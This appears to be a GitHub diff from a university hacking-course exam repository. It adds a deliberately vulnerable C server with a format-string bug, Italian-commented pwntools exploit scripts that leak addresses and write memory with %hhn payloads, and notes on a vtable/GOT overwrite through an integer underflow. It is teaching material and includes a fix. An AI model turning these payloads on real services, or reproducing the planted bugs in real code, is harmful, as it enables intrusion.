Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
CFLAGS=-pie -g -z noexecstack -fstack-protector -z relro -z now -Wno-stringop-overflow -Wno-format-security
all: server

server: server.c
gcc $(CFLAGS) -o server server.c

.PHONY: clean
clean:
rm -f server
Binary file not shown.
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
SNH{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}

Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
#!/bin/sh
if [ -n "$FLAG" ]; then
echo $FLAG > flag.txt
fi
./server
Binary file not shown.
Original file line number Diff line number Diff line change
@@ -0,0 +1,146 @@
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#include <string.h>

#ifndef PORT
#define PORT 10000
#endif

int printflag(void);

#define CMDSZ 130

unsigned int key = 0;

void login(char *password)
{
// TODO: check password and then set key
}

void child()
{
char buf[CMDSZ];

while (fgets(buf, CMDSZ, stdin)) {
switch (buf[0]) {
case '\0':
case '%': // comment char
break;
case 'l':
login(buf + 1);
break;
case 'r':
if (key != 0xfab4) {
printf("access denied\n");
} else {
printflag();
}
break;
default:
printf("ignored line:\n");
printf(buf);
break;
}
fflush(stdout);
}
}

// NO INTENTIONAL BUGS BELOW THIS POINT
int main()
{
int lstn;
int enable;
struct sockaddr_in lstn_addr;

lstn = socket(AF_INET, SOCK_STREAM, 0);
if (lstn < 0) {
perror("socket");
return 1;
}
enable = 1;
if (setsockopt(lstn, SOL_SOCKET, SO_REUSEADDR, &enable, sizeof(enable)) < 0) {
perror("setsockopt");
return 1;
}
bzero(&lstn_addr, sizeof(lstn_addr));

lstn_addr.sin_family = AF_INET;
lstn_addr.sin_addr.s_addr = htonl(INADDR_ANY);
lstn_addr.sin_port = htons(PORT);

if (bind(lstn, (struct sockaddr *)&lstn_addr, sizeof(lstn_addr)) < 0) {
perror("bind");
return 1;
}

if (listen(lstn, 10) < 0) {
perror("listen");
return 1;
}
printf("Listening on port %d\n", PORT);

signal(SIGCHLD, SIG_IGN);

for (;;) {
int con = accept(lstn, NULL, NULL);
if (con < 0) {
perror("accept");
return 1;
}

switch (fork()) {
case -1:
perror("fork");
return 1;
case 0:
printf("New connection, child %d\n", getpid());

fflush(stdout);

close(0);
dup(con);
close(1);
dup(con);
close(2);
dup(con);
close(con);
child();
exit(0);
break;
default:
close(con);
break;
}
}
return 0;
}
#include <stdio.h>

#define BUFSZ 1024

int printflag()
{
char buf[BUFSZ], *scan = buf;

FILE *flag = fopen("flag.txt", "r");
if (flag == NULL) {
perror("flag.txt");
return -1;
}

if (fgets(buf, BUFSZ, flag) == NULL) {
perror("flag.txt");
return -1;
}

printf("Here is the flag:\n");
while (*scan)
printf("%c", *scan++);

return 0;
}
146 changes: 146 additions & 0 deletions SECOND_YEAR/FIRST_SEMESTER/SystemNetworkHaking/Exams/2024-09-17/sol.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,146 @@
#! /bin/python3

import sys
import struct
from pwn import *

# Vulnerabilità
# =============
#
# ```C
# default:
# printf("ignored line:\n");
# printf(buf); // Format string vulnerability
# break;
# ```
#
# Piano d'attacco
# ===============
# 1. Trovare l'indirizzo di `key`:
#
# rsi rdx rcx r8 r9 stack[0] ...
# .%lx.%lx.%lx.%lx.%lx.%lx ...
#
# Dopo aver analizzato come il binario esegue tramite gdb,
# ho potuto notare che l'indirizzo di ritorno della funzione child
# viene "interpretato" come il 25esimo argomento di `printf()`.
#
# L'indirizzo di ritorno salvato nello stack corrisponde a main+533.
#
# nm server | grep main
# 00000000000014c8 T main
# nm server | grep key
# 000000000000402c B key


offset_main = 0x14c8
offset_key = 0x402c
ret_addr = 0x0
base = 0x0

try:
conn = remote("localhost", 10000)
conn.send(b'0x%25$lx\n')
if conn.can_recv(1):
conn.recvline() # To consume "ignored line:\n"
ret_addr = conn.recv().decode().strip('\n')
print(ret_addr)
except EOFError:
print("Ops...")
finally:
conn.close()

ret_addr = int(ret_addr, 16)
base = ret_addr - (offset_main + 533)
key = base + offset_key

print(f"Binary base address: {hex(base)}")
print(f"`key` address: {hex(key)}")


# Esempio di esecuzione in locale:
# $ ./sol.py
# [+] Opening connection to localhost on port 10000: Done
# 0x564c28d816dd
# [*] Closed connection to localhost port 10000
# Binary base address: 0x564c28d80000
# `key` address: 0x564c28d8402c
# cat /proc/$(pgrep server)/maps
# 564c28d80000-564c28d81000 r--p 00000000 103:05 1841262 /.../server

# L'indirizzo di `key` e l'indirizzo base del binario sul server sono i seguenti:
# Binary base address: 0x5648d4563000
# `key` address: 0x5648d456702c

#key = 0x5648d456702c

#
# 2. Scrivere in `key` il valore 0xfab4: possiamo usare %n.
# Purtroppo, 0xfab4 è un numero non "piccolo". Il nostro
# attacco dunque dovrà procedere in due step:
#
# a) *key = 0xb4
# b) *(key+1) = 0xfa
#
# Grazie a `man 3 printf`, possiamo vedere che utilizzato il
# modificatore di lunghezza hh in sostanza esegue un cast a char*
# l'indirizzo oggetto di scrittura:
#
# ```
# man 3 printf
# ...
# hh A following integer conversion corresponds to a signed char or
# unsigned char argument, or a following n conversion corresponds
# to a pointer to a signed char argument.
#
# ```
#
# Attenzione! il binario usa `fgets`: dobbiamo inserire per "ultimo"
# l'indirizzo di `key` altrimenti i null bytes che sono presenti
# "troncano" il nostro payload.
#
# L'idea è dunque la seguente:
#
# a) primo payload = '.%0178lx.%8$hhn.' + struct.pack('Q', key)
# b) secondo payload = '.%0248lx.%8$hhn.' + struct.pack('Q', key+1)
# c) terzo payload = 'r' e sperare di vedere a stampato a schermo la flag.

payload = [
b'.%0178lx.%8$hhn.' + struct.pack('Q', key),
b'.%0248lx.%8$hhn.' + struct.pack('Q', key+1)
]

try:
conn = remote("localhost", 10000)

conn.sendline(payload[0])
if conn.can_recv(2):
conn.recvline() # To consume "ignored line:\n"
conn.recv()

conn.sendline(payload[1])
if conn.can_recv(2):
conn.recvline() # To consume "ignored line:\n"
conn.recv()

conn.send(b'r\n')
if conn.can_recv(2):
print(conn.recvline().decode().strip('\n'))
print(conn.recvuntil(bytes([0x7d])).decode())

except EOFError:
print("Ops...")
finally:
conn.close()

# Purtroppo non sono riuscito a stampare la flag :(

# Fix della vulnerabilità
# =======================
#
# ```C
# default:
# printf("ignored line:\n");
# printf("%s\n", buf);
# break;
# ```
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
server: server.cc libflag.so
g++ -no-pie -g -o server -fstack-protector -z relro -z now -z noexecstack server.cc libflag.so

libflag.so: libflag.c
gcc -fPIC -pie -z relro -z now -z noexecstack -fstack-protector -shared -o libflag.so libflag.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
from pwn import *

legit = 8
offset = 128


payload = b'c\n'*8 + b'c\n'*(128+32)
#from now we're overwriting objects

payload += b'c\n'*240

#now we're writing into objects['0']=objects[48]
payload += b'c'+p64(0x000000403f48-0x8)+b'\n' # 0x000000403f48 is the address of objects[48] in the binary

payload += b'u0\n' # this will trigger the write to objects[48]

sys.stdout.buffer.write(payload)
Empty file.
Binary file not shown.
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
il bug consiste nel decrementare a prescindere freekeys nella createkey().

in particolare, possiamo fare un underflow da -128 a 127 chiedendo la creazione di 128 chiavi dopo le 8 gratuite consentite.

dopo aver fatto ciò, siamo in grado di scrivere ulteriori chiavi che andranno poi a sovrascrivere l'array di objects (che si trova immediatamente dopo in memoria)

l'idea è quella di sovrascrivere gli elementi di objects, e poi chiamare la useobj. idealmente, la funzione chiamata sarà printflag() invece della foo() associata alla classe.

non conosciamo l'indirizzo di printflag, ma solo il suo offset nella libreria usata per compilare, che è 0x11b9.

Possiamo far puntare il vptr di un oggetto a una entry della GOT, e poi usare le chiamate virtuali per eseguire il contenuto di quella entry della GOT.

L'obiettivo è quindi trovare l'indirizzo di base, trovare l'indirizzo di printflag come base+offset e assegnarla ad una entry di objects

Ad esempio, `u0` corrisponde a objects[48] [0x30=48], scrivendo senza criterio avremo una segmentation fault, che suggerisce che ci troviamo sulla giusta strada

Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
#!/bin/sh
echo $FLAG > flag.txt
LD_LIBRARY_PATH=. ./server
Binary file not shown.
Loading